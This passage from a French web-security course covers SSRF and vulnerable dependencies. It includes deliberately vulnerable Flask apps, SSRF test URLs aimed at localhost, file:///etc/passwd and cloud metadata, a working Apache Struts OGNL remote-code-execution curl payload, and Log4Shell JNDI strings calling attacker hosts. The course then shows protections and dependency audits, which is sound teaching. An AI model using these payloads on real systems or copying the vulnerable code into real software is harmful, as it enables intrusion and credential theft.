    url = f"http://internal-server:{port}/"
    # Mesurer le temps de réponse pour détecter les ports ouverts
```

---

#### 3. **Accès aux services internes**

```
http://localhost/admin
http://127.0.0.1:8080/metrics
http://internal-api.company.local/users
```

---

#### 4. **Lecture de fichiers via file:///**

```
file:///etc/passwd
file:///proc/self/environ
file:///var/www/html/.env
```

---

#### 5. **SSRF via redirect**

```python
# L'attaquant héberge une page qui redirige
# http://attacker.com/redirect -> http://localhost/admin
```

---

### Impact de SSRF

| Cible | Impact | Exemple |
|-------|--------|---------|
| **Cloud metadata** | CRITIQUE | Vol de credentials AWS/GCP/Azure |
| **Réseau interne** | CRITIQUE | Accès à services non exposés |
| **Localhost** | Élevé | Contournement authentification |
| **Port scanning** | Moyen | Reconnaissance réseau |

---

### Cas réels

**1. Capital One (2019)**
- **Faille :** SSRF vers AWS metadata
- **Impact :** 106 millions de comptes volés
- **Méthode :** WAF mal configuré permettait SSRF

**2. Verizon (2017)**
- **Faille :** SSRF dans proxy interne
- **Impact :** Accès aux données de 6 millions de clients

**3. Google (2019)**
- **Bug Bounty :** $10,000 pour SSRF sur service interne

---

### Comment se protéger ?

#### [OK] **1. Whitelist d'URLs/domaines autorisés**

```python
from urllib.parse import urlparse

ALLOWED_HOSTS = [
    'api.github.com',
    'api.twitter.com',
    'example.com'
]

def is_url_allowed(url):
    """Vérifie si l'URL est dans la whitelist"""
    try:
        parsed = urlparse(url)
        
        # Vérifier le domaine
        if parsed.hostname not in ALLOWED_HOSTS:
            return False
        
        # Vérifier le scheme
        if parsed.scheme not in ['http', 'https']:
            return False
        
        return True
        
    except Exception:
        return False

# Utilisation
@app.route('/fetch-url')
def fetch_url():
    url = request.args.get('url')
    
    # [OK] Validation
    if not is_url_allowed(url):
        return "URL non autorisée", 403
    
    response = requests.get(url)
    return response.text
```

---

#### [OK] **2. Bloquer les IPs privées et localhost**

```python
import ipaddress
from urllib.parse import urlparse
import socket

def is_private_ip(hostname):
    """Vérifie si l'IP est privée"""
    try:
        # Résoudre le hostname en IP
        ip = socket.gethostbyname(hostname)
        
        # Vérifier si IP privée
        ip_obj = ipaddress.ip_address(ip)
        
        return (
            ip_obj.is_private or
            ip_obj.is_loopback or
            ip_obj.is_link_local or
            ip_obj.is_reserved
        )
        
    except Exception:
        return True  # En cas de doute, bloquer

def is_url_safe(url):
    """Vérifie que l'URL ne pointe pas vers une ressource interne"""
    try:
        parsed = urlparse(url)
        
        # Bloquer file://
        if parsed.scheme == 'file':
            return False
        
        # Bloquer localhost, 127.0.0.1, etc.
        if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1']:
            return False
        
        # Bloquer IPs privées
        if is_private_ip(parsed.hostname):
            return False
        
        # Bloquer metadata cloud
        if parsed.hostname in ['169.254.169.254', 'metadata.google.internal']:
            return False
        
        return True
        
    except Exception:
        return False

# Utilisation
if not is_url_safe(url):
    return "URL non autorisée", 403
```

---

#### [OK] **3. Utiliser un timeout et limiter les redirects**

```python
import requests

# [OK] Configuration sécurisée
response = requests.get(
    url,
    timeout=5,              # [OK] Timeout de 5 secondes
    allow_redirects=False,  # [OK] Pas de redirects automatiques
    verify=True             # [OK] Vérifier les certificats SSL
)
```

---

#### [OK] **4. Proxy/Firewall pour requêtes sortantes**

```python
# Utiliser un proxy qui filtre les destinations
proxies = {
    'http': 'http://proxy.company.com:8080',
    'https': 'http://proxy.company.com:8080'
}

response = requests.get(url, proxies=proxies, timeout=5)
```

---

#### [OK] **5. Désactiver les schemes dangereux**

```python
ALLOWED_SCHEMES = ['http', 'https']

def validate_scheme(url):
    parsed = urlparse(url)
    return parsed.scheme in ALLOWED_SCHEMES

# Bloquer file://, ftp://, gopher://, dict://
```

---

## [CODE] EXERCICE 11 : SSRF VULNERABILITY

### Objectif

Créer une application de preview de liens avec :
- Fonction "Prévisualiser un site web"
- Démonstration d'exploitation SSRF
- Protection avec whitelist et validation

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# url_preview_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse

app = Flask(__name__)
CORS(app)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>URL Preview Tool</title>
    <style>
        body {
            font-family: Arial;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        input {
            width: 70%;
            padding: 10px;
            font-size: 16px;
        }
        button {
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
        }
        .result {
            margin-top: 20px;
            padding: 20px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        .warning {
            background: #fff3cd;
            padding: 15px;
            border-left: 4px solid #ffc107;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="warning">
        [ATTENTION] <strong>Application VULNÉRABLE à SSRF</strong><br>
        Cette application est volontairement vulnérable pour démonstration.
    </div>
    
    <h1>[LIEN] URL Preview Tool</h1>
    <p>Entrez une URL pour prévisualiser son contenu</p>
    
    <input type="text" id="url" placeholder="https://example.com">
    <button onclick="fetchPreview()">Prévisualiser</button>
    
    <div id="result" class="result" style="display:none;"></div>
    
    <h2>[DANGER] Tests SSRF</h2>
    <p>Essayez ces URLs pour exploiter la vulnérabilité :</p>
    <ul>
        <li><code>http://localhost:5000/admin</code> - Accès admin local</li>
        <li><code>http://127.0.0.1:5000/secret</code> - Endpoint secret</li>
        <li><code>http://169.254.169.254/latest/meta-data/</code> - AWS metadata</li>
        <li><code>file:///etc/passwd</code> - Lecture fichiers (peut ne pas fonctionner)</li>
    </ul>
    
    <script>
        async function fetchPreview() {
            const url = document.getElementById('url').value;
            const resultDiv = document.getElementById('result');
            
            resultDiv.style.display = 'block';
            resultDiv.innerHTML = 'Chargement...';
            
            try {
                const response = await fetch('/api/preview?url=' + encodeURIComponent(url));
                const data = await response.json();
                
                if (data.success) {
                    resultDiv.innerHTML = `
                        <h3>${data.title || 'Sans titre'}</h3>
                        <p><strong>URL:</strong> ${data.url}</p>
                        <p><strong>Status:</strong> ${data.status_code}</p>
                        <p><strong>Contenu:</strong></p>
                        <pre style="background:#f5f5f5;padding:10px;overflow:auto;">${data.content.substring(0, 1000)}...</pre>
                    `;
                } else {
                    resultDiv.innerHTML = `<p style="color:red;">Erreur: ${data.error}</p>`;
                }
            } catch (error) {
                resultDiv.innerHTML = `<p style="color:red;">Erreur: ${error.message}</p>`;
            }
        }
    </script>
</body>
</html>
    ''')

@app.route('/api/preview')
def preview_url():
    """
    [X] VULNÉRABLE SSRF : Fetch n'importe quelle URL sans validation
    """
    url = request.args.get('url')
    
    if not url:
        return jsonify({"error": "URL manquante"}), 400
    
    try:
        print(f"[ENTREE] Requête SSRF vers : {url}")
        
        # [X] VULNÉRABLE : Pas de validation de l'URL !
        response = requests.get(url, timeout=10, allow_redirects=True)
        
        # Extraire le titre si HTML
        title = "N/A"
        try:
            soup = BeautifulSoup(response.text, 'html.parser')
            if soup.title:
                title = soup.title.string
        except:
            pass
        
        return jsonify({
            "success": True,
            "url": url,
            "title": title,
            "status_code": response.status_code,
            "content": response.text[:2000],  # Premiers 2000 caractères
            "headers": dict(response.headers)
        })
        
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# [X] Endpoints internes "secrets"
@app.route('/admin')
def admin():
    """Endpoint admin supposé être accessible seulement en interne"""
    return jsonify({
        "admin": True,
        "users": ["alice", "bob", "admin"],
        "secret_key": "super_secret_api_key_12345"
    })

@app.route('/secret')
def secret():
    """Endpoint avec données sensibles"""
    return jsonify({
        "database_url": "postgresql://admin:password123@db.internal:5432/production",
        "aws_key": "AKIAIOSFODNN7EXAMPLE",
        "aws_secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
    })

if __name__ == '__main__':
    print("[RAPIDE] URL Preview Tool (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Vulnérable à SSRF !")
    app.run(debug=True, port=5000)
```

**Installer BeautifulSoup :**

```bash
pip install beautifulsoup4
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python url_preview_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test SSRF - Accès endpoint admin :**

- Entrer : `http://localhost:5000/admin`
- Cliquer "Prévisualiser"
- **Résultat :** Vous voyez les données admin (users, secret_key) !

**4. Test SSRF - Accès endpoint secret :**

- Entrer : `http://127.0.0.1:5000/secret`
- **Résultat :** Credentials AWS et DB exposés !

**5. Test SSRF - AWS Metadata (si sur AWS) :**

- Entrer : `http://169.254.169.254/latest/meta-data/`
- **Résultat :** Liste des métadonnées disponibles

**6. Via curl :**

```bash
curl "http://localhost:5000/api/preview?url=http://localhost:5000/admin"
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# url_preview_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
import ipaddress
import socket

app = Flask(__name__)
CORS(app, origins=['http://localhost:3000'])

# [OK] Whitelist de domaines autorisés
ALLOWED_DOMAINS = [
    'example.com',
    'wikipedia.org',
    'github.com',
    'stackoverflow.com'
]

def is_private_ip(hostname):
    """Vérifie si l'IP est privée/interne"""
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        
        return (
            ip_obj.is_private or
            ip_obj.is_loopback or
            ip_obj.is_link_local or
            ip_obj.is_reserved or
            ip_obj.is_multicast
        )
    except Exception:
        return True  # En cas de doute, bloquer

def is_url_safe(url):
    """
    [OK] Valide que l'URL est sûre
    """
    try:
        parsed = urlparse(url)
        
        # [OK] Vérifier le scheme
        if parsed.scheme not in ['http', 'https']:
            return False, "Scheme non autorisé (seulement http/https)"
        
        # [OK] Vérifier que le hostname existe
        if not parsed.hostname:
            return False, "Hostname manquant"
        
        # [OK] Bloquer localhost
        if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1', '::ffff:127.0.0.1']:
            return False, "Accès localhost interdit"
        
        # [OK] Bloquer IPs privées
        if is_private_ip(parsed.hostname):
            return False, "Accès aux IPs privées interdit"
        
        # [OK] Bloquer cloud metadata
        metadata_hosts = ['169.254.169.254', 'metadata.google.internal', 'metadata.azure.com']
        if parsed.hostname in metadata_hosts:
            return False, "Accès aux métadonnées cloud interdit"
        
        # [OK] Whitelist de domaines
        domain_allowed = False
        for allowed_domain in ALLOWED_DOMAINS:
            if parsed.hostname == allowed_domain or parsed.hostname.endswith('.' + allowed_domain):
                domain_allowed = True
                break
        
        if not domain_allowed:
            return False, f"Domaine non autorisé. Domaines autorisés : {', '.join(ALLOWED_DOMAINS)}"
        
        return True, "OK"
        
    except Exception as e:
        return False, f"Erreur de validation : {str(e)}"

@app.route('/api/preview')
def preview_url_secure():
    """
    [OK] SÉCURISÉ : Validation complète avant fetch
    """
    url = request.args.get('url')
    
    if not url:
        return jsonify({"error": "URL manquante"}), 400
    
    # [OK] Validation de sécurité
    is_safe, message = is_url_safe(url)
    
    if not is_safe:
        return jsonify({
            "error": f"URL refusée : {message}",
            "allowed_domains": ALLOWED_DOMAINS
        }), 403
    
    try:
        # [OK] Requête sécurisée
        response = requests.get(
            url,
            timeout=5,              # [OK] Timeout court
            allow_redirects=False,  # [OK] Pas de redirects
            verify=True,            # [OK] Vérifier SSL
            headers={
                'User-Agent': 'SecurePreviewBot/1.0'
            }
        )
        
        # Limiter la taille de la réponse
        MAX_SIZE = 1024 * 1024  # 1MB
        if len(response.content) > MAX_SIZE:
            return jsonify({"error": "Réponse trop volumineuse"}), 413
        
        # Extraire le titre
        title = "N/A"
        try:
            soup = BeautifulSoup(response.text, 'html.parser')
            if soup.title:
                title = soup.title.string
        except:
            pass
        
        return jsonify({
            "success": True,
            "url": url,
            "title": title,
            "status_code": response.status_code,
            "content": response.text[:2000]
        })
        
    except requests.exceptions.Timeout:
        return jsonify({"error": "Timeout (max 5s)"}), 408
    except requests.exceptions.SSLError:
        return jsonify({"error": "Erreur certificat SSL"}), 400
    except Exception as e:
        return jsonify({"error": f"Erreur : {str(e)}"}), 500

@app.route('/admin')
def admin():
    """Endpoint admin protégé"""
    return jsonify({"error": "Accès interdit"}), 403

if __name__ == '__main__':
    print("[SECURITE]  URL Preview Tool SÉCURISÉ sur http://localhost:5001")
    print(f"[OK] Domaines autorisés : {', '.join(ALLOWED_DOMAINS)}")
    app.run(debug=False, port=5001)
```

**Tester la protection :**

```bash
# Lancer le serveur sécurisé
python url_preview_secure.py

# Tester SSRF (devrait être bloqué)
curl "http://localhost:5001/api/preview?url=http://localhost:5001/admin"
```

**Résultat :**

```json
{
  "error": "URL refusée : Accès localhost interdit",
  "allowed_domains": ["example.com", "wikipedia.org", "github.com", "stackoverflow.com"]
}
```

**[OK] SSRF bloqué !**

---

## [GRAPHIQUE] RÉCAPITULATIF SSRF

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| Whitelist domaines | ***** | [OK] Facile |
| Bloquer IPs privées | ***** | [OK] Facile |
| Bloquer metadata cloud | ***** | [OK] Facile |
| Timeout court | **** | [OK] Facile |
| Désactiver redirects | **** | [OK] Facile |
| Proxy sortant | ***** | [ATTENTION] Complexe |

---

### [X] Erreurs communes

- [X] Faire des requêtes HTTP avec input utilisateur non validé
- [X] Autoriser file://, dict://, gopher://
- [X] Ne pas bloquer 127.0.0.1, localhost, IPs privées
- [X] Ne pas bloquer 169.254.169.254 (metadata cloud)
- [X] Autoriser les redirects automatiques

---

*(Continuer avec "Using Components with Known Vulnerabilities" et "Insufficient Logging & Monitoring" ?)*

# 10. USING COMPONENTS WITH KNOWN VULNERABILITIES

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que cette vulnérabilité ?

**Définition :**
Utilisation de bibliothèques, frameworks, ou composants tiers qui contiennent des **vulnérabilités de sécurité connues** et documentées (CVE).

**Analogie simple :**

Imagine que tu utilises une vieille serrure pour ta porte. Cette serrure a un défaut connu : si tu glisses une carte bancaire, elle s'ouvre. Tout le monde le sait (c'est documenté), mais tu ne l'as pas remplacée. Un cambrioleur qui connaît cette faille peut facilement entrer !

Les composants logiciels = la serrure
Les CVE = le défaut connu
Ton application = ta maison

---

### CVE (Common Vulnerabilities and Exposures)

**Qu'est-ce qu'un CVE ?**

Un CVE est un **identifiant unique** pour une vulnérabilité de sécurité connue.

**Format :** `CVE-ANNÉE-NUMÉRO`

**Exemples :**

| CVE | Composant | Description | Gravité |
|-----|-----------|-------------|---------|
| CVE-2021-44228 | Log4j 2.x | Log4Shell - RCE via JNDI | CRITIQUE (10.0) |
| CVE-2017-5638 | Apache Struts | RCE via Content-Type | CRITIQUE (10.0) |
| CVE-2019-11510 | Pulse Secure VPN | Lecture de fichiers arbitraires | CRITIQUE (10.0) |
| CVE-2021-3156 | sudo | Baron Samedit - Privilege escalation | ÉLEVÉ (7.8) |

---

### Score CVSS (Common Vulnerability Scoring System)

**Échelle de gravité :**

| Score | Gravité | Signification |
|-------|---------|---------------|
| 9.0-10.0 | **CRITIQUE** | Exploitation facile, impact maximal |
| 7.0-8.9 | **ÉLEVÉ** | Exploitation moyennement facile |
| 4.0-6.9 | **MOYEN** | Exploitation difficile ou impact limité |
| 0.1-3.9 | **FAIBLE** | Impact minimal |

---

### Pourquoi c'est dangereux ?

**1. Exploits publics disponibles**

Quand un CVE est publié, des **exploits** (code d'attaque) sont souvent disponibles publiquement :

```bash
# Exemple : Rechercher un exploit pour Log4Shell
searchsploit log4j
```

**Résultat :**
```
Apache Log4j Server 2.14.1 - Remote Code Execution (RCE)
Apache Log4j2 2.0-beta9 - Remote Code Execution (RCE)
...
```

**[ATTENTION] N'importe qui peut utiliser ces exploits !**

---

**2. Scanners automatisés**

Des outils scannent automatiquement Internet pour trouver des applications vulnérables :

```bash
# Shodan : Moteur de recherche pour appareils connectés
shodan search "Apache 2.4.49"  # Version vulnérable

# Résultat : Liste d'IPs vulnérables
```

---

**3. Supply Chain Attacks**

Un composant compromis peut affecter **des milliers d'applications** qui l'utilisent.

**Exemple :** event-stream (npm package)
- Package légitime
- Compromis par un attaquant
- Contenait du code malveillant pour voler des bitcoins
- **8 millions de téléchargements** avant détection

---

### Cas réels catastrophiques

#### 1. **Equifax (2017) - Apache Struts CVE-2017-5638**

**Faille :** RCE dans Apache Struts via Content-Type malformé

**Timeline :**
- **7 mars 2017** : CVE publié, patch disponible
- **Mars-Juillet 2017** : Equifax ne patch pas
- **29 juillet 2017** : Découverte du breach
- **Impact :** 147 millions de personnes, $700M d'amende

**Code d'exploitation :**

```bash
# Payload simple
curl -X POST \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
  https://vulnerable-site.com/
```

**Leçon :** Patcher rapidement est **CRUCIAL** !

---

#### 2. **WannaCry Ransomware (2017) - EternalBlue (MS17-010)**

**Faille :** Vulnérabilité dans SMBv1 de Windows

**Impact :**
- 300,000+ ordinateurs infectés
- 150 pays touchés
- Hôpitaux britanniques paralysés
- $4 milliards de dommages

**Cause :** Windows non patchés malgré un **patch disponible depuis 2 mois** !

---

#### 3. **Log4Shell (2021) - CVE-2021-44228**

**Faille :** RCE via JNDI lookup dans Log4j

**Code vulnérable :**

```java
// Log4j 2.x vulnérable
logger.info("User input: " + userInput);
```

**Exploitation :**

```bash
# Payload dans n'importe quel champ
${jndi:ldap://attacker.com/evil}

# Exemples de vecteurs d'attaque
User-Agent: ${jndi:ldap://evil.com/a}
X-Api-Version: ${jndi:ldap://evil.com/a}
Nom d'utilisateur: ${jndi:ldap://evil.com/a}
```

**Impact :**
- Milliards d'appareils vulnérables
- Minecraft, iCloud, Steam, Twitter affectés
- Exploits automatisés en 24h

---

### Comment détecter les composants vulnérables ?

#### [OK] **1. Audit des dépendances**

**Python (pip) :**

```bash
# Lister les packages installés
pip list

# Sauvegarder dans un fichier
pip freeze > requirements.txt

# Scanner les vulnérabilités avec safety
pip install safety
safety check

# Ou avec pip-audit
pip install pip-audit
pip-audit
```

**Résultat exemple :**

```
Found 3 vulnerabilities

-> Package: flask
   Version: 0.12.2
   CVE: CVE-2018-1000656
   Description: Improper Input Validation
   Severity: HIGH
   Fix: Upgrade to flask>=1.0
```

---

**Node.js (npm) :**

```bash
# Audit intégré à npm
npm audit

# Réparer automatiquement
npm audit fix

# Avec Snyk
npm install -g snyk
snyk test
```

---

**Java (Maven) :**

```bash
# OWASP Dependency Check
mvn org.owasp:dependency-check-maven:check
```

---

#### [OK] **2. Outils de scan continu**

**Snyk :**

```bash
# Installer
npm install -g snyk

# Authentifier
snyk auth

# Scanner le projet
snyk test

# Monitorer en continu
snyk monitor
```

---

**Dependabot (GitHub) :**

Créer `.github/dependabot.yml` :

```yaml
version: 2
updates:
  - package-ecosystem: "pip"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10
```

**-> Crée automatiquement des PRs pour mettre à jour les dépendances vulnérables !**

---

**GitHub Security Advisories :**

Activé automatiquement sur les repos publics. Alerte quand une dépendance vulnérable est détectée.

---

#### [OK] **3. SCA (Software Composition Analysis)**

Outils commerciaux :
- **Snyk**
- **WhiteSource**
- **Black Duck**
- **Sonatype Nexus**

---

### Comment se protéger ?

#### [OK] **1. Maintenir les dépendances à jour**

**Stratégie de mise à jour :**

```bash
# Vérifier les versions obsolètes
pip list --outdated

# Mettre à jour un package
pip install --upgrade flask

# Mettre à jour tous les packages (ATTENTION)
pip install --upgrade -r requirements.txt
```

**[ATTENTION] Attention aux breaking changes !**

---

#### [OK] **2. Épingler les versions (pinning)**

**requirements.txt avec versions exactes :**

```txt
# [OK] Versions exactes
Flask==2.3.0
requests==2.28.2
SQLAlchemy==2.0.7

# [X] Éviter les wildcards
# Flask>=2.0.0  # Peut installer une version future vulnérable
```

---

#### [OK] **3. Utiliser des outils d'audit automatisés**

**Dans CI/CD (GitHub Actions) :**

```yaml
# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Run Safety check
        run: |
          pip install safety
          safety check --json
      
      - name: Run Snyk
        uses: snyk/actions/python@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
```

---

#### [OK] **4. Supprimer les dépendances inutilisées**

```bash
# Python : Analyser les imports
pip install pipreqs
pipreqs . --force

# Comparer avec requirements.txt actuel
# Supprimer ce qui n'est pas utilisé
```

---

#### [OK] **5. Politique de gestion des vulnérabilités**

**Processus recommandé :**

1. **Veille de sécurité**
   - S'abonner aux advisories (GitHub, NVD, security mailing lists)
   - Monitorer les CVEs de vos composants

2. **Évaluation du risque**
   - Score CVSS
   - Exploitation publique ?
   - Application affectée ?

3. **Priorisation**
   - **CRITIQUE** : Patcher immédiatement (< 24h)
   - **ÉLEVÉ** : Patcher rapidement (< 1 semaine)
   - **MOYEN** : Planifier (< 1 mois)
   - **FAIBLE** : Lors de la prochaine mise à jour

4. **Test et déploiement**
   - Tester en staging
   - Déployer en production
   - Vérifier le patch

---

## [CODE] EXERCICE 12 : AUDIT DE SÉCURITÉ DES DÉPENDANCES

### Objectif

Créer un projet avec des **dépendances vulnérables volontaires** et effectuer un audit complet.

---

### PARTIE A : PROJET AVEC DÉPENDANCES VULNÉRABLES

```bash
mkdir vulnerable-app
cd vulnerable-app
```

**requirements.txt (versions VULNÉRABLES volontaires) :**

```txt
# [X] Versions VOLONTAIREMENT VULNÉRABLES pour la démo

# Flask 0.12.2 - CVE-2018-1000656 (Improper Input Validation)
Flask==0.12.2

# Jinja2 2.10 - CVE-2019-10906 (Sandbox Escape)
Jinja2==2.10

# Werkzeug 0.14.1 - CVE-2019-14806 (Path Traversal)
Werkzeug==0.14.1

# requests 2.19.0 - CVE-2018-18074 (Redirect Vulnerability)
requests==2.19.0

# SQLAlchemy 1.2.0 - CVE-2019-7164, CVE-2019-7548
SQLAlchemy==1.2.0

# PyYAML 3.12 - CVE-2017-18342 (Arbitrary Code Execution)
PyYAML==3.12

# urllib3 1.24.1 - CVE-2019-11324 (CRLF Injection)
urllib3==1.24.1
```

**Application vulnérable :**

```python
# app.py
from flask import Flask, request, render_template_string
import yaml
import requests

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <h1>Application avec Dépendances Vulnérables</h1>
    <p>Cette application utilise des versions obsolètes avec des CVEs connus.</p>
    <ul>
        <li><a href="/yaml-parse">Test PyYAML Vuln</a></li>
        <li><a href="/fetch?url=http://example.com">Test requests Vuln</a></li>
    </ul>
    '''

@app.route('/yaml-parse', methods=['GET', 'POST'])
def yaml_parse():
    """
    [X] PyYAML 3.12 vulnérable à l'exécution de code
    """
    if request.method == 'POST':
        yaml_content = request.form.get('yaml')
        
        # [X] VULNÉRABLE CVE-2017-18342
        data = yaml.load(yaml_content)
        
        return f"Parsed: {data}"
    
    return '''
    <form method="post">
        <textarea name="yaml" rows="10" cols="50">
key: value
        </textarea>
        <button type="submit">Parse YAML</button>
    </form>
    '''

@app.route('/fetch')
def fetch_url():
    """
    [X] requests 2.19.0 vulnérable aux redirects
    """
    url = request.args.get('url')
    
    # [X] VULNÉRABLE CVE-2018-18074
    response = requests.get(url)
    
    return response.text

if __name__ == '__main__':
    app.run(debug=True)
```

---

### PARTIE B : SCRIPT D'AUDIT AUTOMATISÉ

```python
# security_audit.py
import subprocess
import json
import sys

def run_safety_check():
    """Exécute safety check"""
    print("=" * 80)
    print("AUDIT DE SÉCURITÉ - SAFETY CHECK")
    print("=" * 80)
    
    try:
        result = subprocess.run(
            ['safety', 'check', '--json'],
            capture_output=True,
            text=True
        )
        
        if result.returncode == 0:
            print("[OK] Aucune vulnérabilité détectée par Safety")
        else:
            vulnerabilities = json.loads(result.stdout)
            
            print(f"\n[ALERTE] {len(vulnerabilities)} VULNÉRABILITÉS DÉTECTÉES\n")
            
            for vuln in vulnerabilities:
                print(f"[PACKAGE] Package: {vuln[0]}")
                print(f"   Version installée: {vuln[2]}")
                print(f"   CVE: {vuln[4]}")
                print(f"   Description: {vuln[3]}")
                print(f"   Fix: Upgrade to {vuln[1]}")
                print()
        
    except FileNotFoundError:
        print("[X] Safety non installé. Installer avec: pip install safety")
    except Exception as e:
        print(f"[X] Erreur: {e}")

def run_pip_audit():
    """Exécute pip-audit"""
    print("\n" + "=" * 80)
    print("AUDIT DE SÉCURITÉ - PIP-AUDIT")
    print("=" * 80)
    
    try:
        result = subprocess.run(
            ['pip-audit', '--format', 'json'],
            capture_output=True,
            text=True
        )
        
        if result.returncode == 0:
            print("[OK] Aucune vulnérabilité détectée par pip-audit")
        else:
            data = json.loads(result.stdout)
            dependencies = data.get('dependencies', [])
            
            print(f"\n[ALERTE] {len(dependencies)} PACKAGES VULNÉRABLES\n")
            
            for dep in dependencies:
                print(f"[PACKAGE] {dep['name']} {dep['version']}")
                
                for vuln in dep.get('vulns', []):
                    print(f"   [ROUGE] {vuln['id']}")
                    print(f"      Description: {vuln.get('description', 'N/A')}")
                    print(f"      Fix: {vuln.get('fix_versions', 'N/A')}")
                print()
        
    except FileNotFoundError:
        print("[X] pip-audit non installé. Installer avec: pip install pip-audit")
    except Exception as e:
        print(f"[X] Erreur: {e}")

def generate_report():
    """Génère un rapport complet"""
    print("\n" + "=" * 80)
    print("RAPPORT FINAL")
    print("=" * 80)
    
    # Compter les packages obsolètes
    result = subprocess.run(
        ['pip', 'list', '--outdated', '--format', 'json'],
        capture_output=True,
        text=True
    )
    
    outdated = json.loads(result.stdout)
    
    print(f"\n[GRAPHIQUE] Statistiques:")
    print(f"   - Packages obsolètes: {len(outdated)}")
    
    print(f"\n[NOTE] Recommandations:")
    print(f"   1. Mettre à jour IMMÉDIATEMENT les packages avec CVEs CRITIQUES")
    print(f"   2. Planifier la mise à jour des autres packages")
    print(f"   3. Configurer Dependabot sur GitHub")
    print(f"   4. Intégrer safety/pip-audit dans CI/CD")
    print(f"   5. Établir une politique de gestion des vulnérabilités")

if __name__ == '__main__':
    print("""
╔════════════════════════════════════════════════════════════════════════╗
║           AUDIT DE SÉCURITÉ DES DÉPENDANCES                            ║
║                                                                        ║
║  Cet outil scanne les vulnérabilités dans vos dépendances Python      ║
╚════════════════════════════════════════════════════════════════════════╝
    """)
    
    run_safety_check()
    run_pip_audit()
    generate_report()
```

---

### PARTIE C : EXÉCUTER L'AUDIT

**1. Installer les dépendances vulnérables :**

```bash
# Créer un environnement virtuel
python -m venv venv
source venv/bin/activate  # Linux/Mac
# ou
venv\Scripts\activate  # Windows

# Installer les packages vulnérables
pip install -r requirements.txt
```

**2. Installer les outils d'audit :**

```bash
pip install safety pip-audit
```

**3. Lancer l'audit :**

```bash
python security_audit.py
```

**Résultat attendu :**

```
╔════════════════════════════════════════════════════════════════════════╗
║           AUDIT DE SÉCURITÉ DES DÉPENDANCES                            ║
║                                                                        ║
║  Cet outil scanne les vulnérabilités dans vos dépendances Python      ║
╚════════════════════════════════════════════════════════════════════════╝

================================================================================
AUDIT DE SÉCURITÉ - SAFETY CHECK
================================================================================

[ALERTE] 7 VULNÉRABILITÉS DÉTECTÉES

[PACKAGE] Package: flask
   Version installée: 0.12.2
   CVE: CVE-2018-1000656
   Description: The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. 
   Fix: Upgrade to >=1.0

[PACKAGE] Package: jinja2
   Version installée: 2.10
   CVE: CVE-2019-10906
   Description: Jinja2 sandbox escape
   Fix: Upgrade to >=2.10.1

[PACKAGE] Package: pyyaml
   Version installée: 3.12
   CVE: CVE-2017-18342
   Description: PyYAML allows arbitrary code execution
   Fix: Upgrade to >=5.4

...
```

---

### PARTIE D : CORRIGER LES VULNÉRABILITÉS

**requirements_fixed.txt (versions sécurisées) :**

```txt
# [OK] Versions SÉCURISÉES

# Flask dernière version stable
Flask==2.3.3

# Jinja2 patché
Jinja2==3.1.2

# Werkzeug sécurisé
Werkzeug==2.3.7

# requests à jour
requests==2.31.0

# SQLAlchemy récent
SQLAlchemy==2.0.21

# PyYAML sécurisé
PyYAML==6.0.1

# urllib3 patché
urllib3==2.0.5
```

**Mettre à jour :**

```bash
pip install -r requirements_fixed.txt

# Vérifier qu'il n'y a plus de vulnérabilités
safety check
```

**Résultat :**

```
[OK] All good! No known vulnerabilities found.
```

---

### PARTIE E : AUTOMATISATION CI/CD

**GitHub Actions workflow :**

```yaml
# .github/workflows/security-audit.yml
name: Security Audit

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]
  schedule:
    # Exécuter tous les jours à 2h du matin
    - cron: '0 2 * * *'

jobs:
  security-audit:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v3
    
    - name: Set up Python
      uses: actions/setup-python@v4
      with:
        python-version: '3.10'
    
    - name: Install dependencies
      run: |
        python -m pip install --upgrade pip
        pip install -r requirements.txt
    
    - name: Run Safety check
      run: |
        pip install safety
        safety check --json || true
    
    - name: Run pip-audit
      run: |
